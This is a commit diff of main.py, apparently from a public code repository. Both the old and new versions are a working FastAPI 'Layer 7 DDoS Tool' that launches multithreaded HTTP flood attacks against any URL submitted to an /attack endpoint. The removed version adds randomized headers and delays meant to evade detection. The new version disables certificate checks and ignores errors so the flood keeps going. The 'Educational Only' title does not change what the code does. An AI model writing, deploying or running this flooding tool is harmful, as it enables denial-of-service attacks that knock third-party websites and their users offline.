rkihacker commited on
Commit
f39ffbb
·
verified ·
1 Parent(s): 5992127

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +76 -161
main.py CHANGED
@@ -1,182 +1,97 @@
1
- import asyncio
2
- import aiohttp
3
- import argparse
4
- from fastapi import FastAPI, HTTPException
5
- from fastapi.middleware.cors import CORSMiddleware
6
  import uvicorn
7
- from typing import Optional
8
- import random
9
- import string
 
10
  import time
 
 
11
  from concurrent.futures import ThreadPoolExecutor
12
- import threading
13
 
14
- app = FastAPI()
 
15
 
16
- # CORS configuration
17
- app.add_middleware(
18
- CORSMiddleware,
19
- allow_origins=["*"],
20
- allow_credentials=True,
21
- allow_methods=["*"],
22
- allow_headers=["*"],
23
- )
24
 
25
- # Global variables for attack state
26
  attack_active = False
27
  attack_thread = None
28
- attack_config = {}
29
-
30
- # User agents for randomization
31
- USER_AGENTS = [
32
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
33
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
34
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
35
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
36
- ]
37
-
38
- def generate_random_string(length=10):
39
- """Generate a random string of fixed length"""
40
- letters = string.ascii_lowercase
41
- return ''.join(random.choice(letters) for i in range(length))
42
-
43
- async def send_request(session, url, method="GET", headers=None, data=None):
44
- """Send a single HTTP request"""
45
- try:
46
- if method.upper() == "GET":
47
- async with session.get(url, headers=headers) as response:
48
- return response.status
49
- elif method.upper() == "POST":
50
- async with session.post(url, headers=headers, data=data) as response:
51
- return response.status
52
- except Exception as e:
53
- return str(e)
54
-
55
- async def attack_worker(url, method, duration, max_threads, headers=None, data=None):
56
- """Worker function for the attack"""
57
- start_time = time.time()
58
- connector = aiohttp.TCPConnector(limit=max_threads, force_close=True)
59
- timeout = aiohttp.ClientTimeout(total=10)
60
-
61
- async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
62
- while time.time() - start_time < duration and attack_active:
63
- try:
64
- # Randomize headers and data if not provided
65
- request_headers = headers or {
66
- "User-Agent": random.choice(USER_AGENTS),
67
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
68
- "Accept-Language": "en-US,en;q=0.5",
69
- "Accept-Encoding": "gzip, deflate",
70
- "Connection": "keep-alive",
71
- "Cache-Control": "max-age=0",
72
- "Referer": f"https://{generate_random_string(10)}.com/",
73
- }
74
-
75
- request_data = data or {
76
- "data": generate_random_string(20),
77
- "timestamp": str(time.time())
78
- }
79
-
80
- # Send request
81
- status = await send_request(session, url, method, request_headers, request_data)
82
-
83
- # Print status (you might want to log this instead)
84
- print(f"Request sent to {url} - Status: {status}")
85
-
86
- # Random delay between requests to avoid detection
87
- await asyncio.sleep(random.uniform(0.1, 0.5))
88
-
89
- except Exception as e:
90
- print(f"Error in attack worker: {e}")
91
- await asyncio.sleep(1)
92
-
93
- def start_attack(url, method="GET", duration=60, max_threads=100, headers=None, data=None):
94
- """Start the attack in a separate thread"""
95
- global attack_active, attack_thread, attack_config
96
-
97
- if attack_active:
98
- raise ValueError("Attack is already in progress")
99
-
100
- attack_active = True
101
- attack_config = {
102
- "url": url,
103
- "method": method,
104
- "duration": duration,
105
- "max_threads": max_threads,
106
- "headers": headers,
107
- "data": data
108
  }
 
 
 
 
 
 
 
 
 
 
109
 
110
- def run_attack():
111
- asyncio.run(attack_worker(url, method, duration, max_threads, headers, data))
112
- global attack_active
113
- attack_active = False
114
 
115
- attack_thread = threading.Thread(target=run_attack)
116
- attack_thread.daemon = True
117
- attack_thread.start()
 
 
 
 
 
 
 
 
 
 
118
 
119
  def stop_attack():
120
- """Stop the current attack"""
121
  global attack_active
122
  attack_active = False
 
 
 
 
 
 
 
123
 
124
- @app.get("/")
125
- async def root():
126
- return {"message": "Layer 7 DDoS Tool API"}
127
-
128
- @app.post("/start_attack")
129
- async def start_attack_endpoint(
130
- url: str,
131
- method: str = "GET",
132
- duration: int = 60,
133
- max_threads: int = 100,
134
- headers: Optional[dict] = None,
135
- data: Optional[dict] = None
136
- ):
137
- try:
138
- start_attack(url, method, duration, max_threads, headers, data)
139
- return {
140
- "status": "success",
141
- "message": f"Attack started on {url} for {duration} seconds with {max_threads} threads"
142
- }
143
- except Exception as e:
144
- raise HTTPException(status_code=400, detail=str(e))
145
-
146
- @app.post("/stop_attack")
147
- async def stop_attack_endpoint():
148
  stop_attack()
149
- return {"status": "success", "message": "Attack stopped"}
150
 
151
  @app.get("/status")
152
- async def get_status():
153
- global attack_active, attack_config
154
- return {
155
- "attack_active": attack_active,
156
- "attack_config": attack_config if attack_active else None
157
- }
158
 
159
  if __name__ == "__main__":
160
- parser = argparse.ArgumentParser(description="Layer 7 DDoS Tool")
161
- parser.add_argument("--host", type=str, default="0.0.0.0", help="Host to bind to")
162
- parser.add_argument("--port", type=int, default=8000, help="Port to listen on")
163
- parser.add_argument("--ssl-keyfile", type=str, help="SSL key file for HTTPS")
164
- parser.add_argument("--ssl-certfile", type=str, help="SSL certificate file for HTTPS")
165
-
166
- args = parser.parse_args()
167
-
168
- ssl_config = None
169
- if args.ssl_keyfile and args.ssl_certfile:
170
- ssl_config = {
171
- "keyfile": args.ssl_keyfile,
172
- "certfile": args.ssl_certfile
173
- }
174
-
175
- uvicorn.run(
176
- app,
177
- host=args.host,
178
- port=args.port,
179
- ssl_keyfile=args.ssl_keyfile if ssl_config else None,
180
- ssl_certfile=args.ssl_certfile if ssl_config else None,
181
- log_level="info"
182
- )
 
1
+ # main.py
 
 
 
 
2
  import uvicorn
3
+ from fastapi import FastAPI, HTTPException
4
+ from pydantic import BaseModel
5
+ import threading
6
+ import requests
7
  import time
8
+ import logging
9
+ from typing import Optional
10
  from concurrent.futures import ThreadPoolExecutor
 
11
 
12
+ logging.basicConfig(level=logging.INFO)
13
+ logger = logging.getLogger(__name__)
14
 
15
+ app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")
 
 
 
 
 
 
 
16
 
17
+ # Global attack control
18
  attack_active = False
19
  attack_thread = None
20
+ executor = ThreadPoolExecutor(max_workers=500) # Adjustable max threads
21
+
22
+ class AttackConfig(BaseModel):
23
+ target: str # http:// or https://
24
+ port: Optional[int] = None
25
+ duration: int # seconds
26
+ threads: int = 100 # number of concurrent threads
27
+
28
+ def flood_target(target_url: str):
29
+ headers = {
30
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
31
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
32
+ "Connection": "keep-alive",
33
+ "Cache-Control": "no-cache",
34
+ "Pragma": "no-cache"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
35
  }
36
+ session = requests.Session()
37
+ while attack_active:
38
+ try:
39
+ session.get(target_url, headers=headers, timeout=5, verify=False)
40
+ except:
41
+ pass # Ignore failures to keep flooding
42
+
43
+ def start_attack(config: AttackConfig):
44
+ global attack_active, attack_thread
45
+ attack_active = True
46
 
47
+ # Build target URL
48
+ protocol = "https" if config.target.startswith("https") else "http"
49
+ port = config.port or (443 if protocol == "https" else 80)
50
+ target_url = f"{config.target}:{port}"
51
 
52
+ logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {config.threads} threads")
53
+
54
+ # Launch threads
55
+ futures = []
56
+ for _ in range(config.threads):
57
+ future = executor.submit(flood_target, target_url)
58
+ futures.append(future)
59
+
60
+ # Stop after duration
61
+ time.sleep(config.duration)
62
+ stop_attack()
63
+
64
+ logger.info("Attack completed.")
65
 
66
  def stop_attack():
 
67
  global attack_active
68
  attack_active = False
69
+ logger.info("Attack stopped.")
70
+
71
+ @app.post("/attack")
72
+ def launch_attack(config: AttackConfig):
73
+ global attack_thread
74
+ if attack_thread and attack_thread.is_alive():
75
+ raise HTTPException(status_code=400, detail="Attack already in progress")
76
 
77
+ if config.threads > 1000:
78
+ raise HTTPException(status_code=400, detail="Max 1000 threads allowed")
79
+
80
+ if config.duration > 300:
81
+ raise HTTPException(status_code=400, detail="Max duration 300 seconds")
82
+
83
+ attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
84
+ attack_thread.start()
85
+ return {"status": "attack_started", "config": config}
86
+
87
+ @app.post("/stop")
88
+ def stop():
 
 
 
 
 
 
 
 
 
 
 
 
89
  stop_attack()
90
+ return {"status": "attack_stopped"}
91
 
92
  @app.get("/status")
93
+ def status():
94
+ return {"attack_active": attack_active}
 
 
 
 
95
 
96
  if __name__ == "__main__":
97
+ uvicorn.run(app, host="0.0.0.0", port=8000)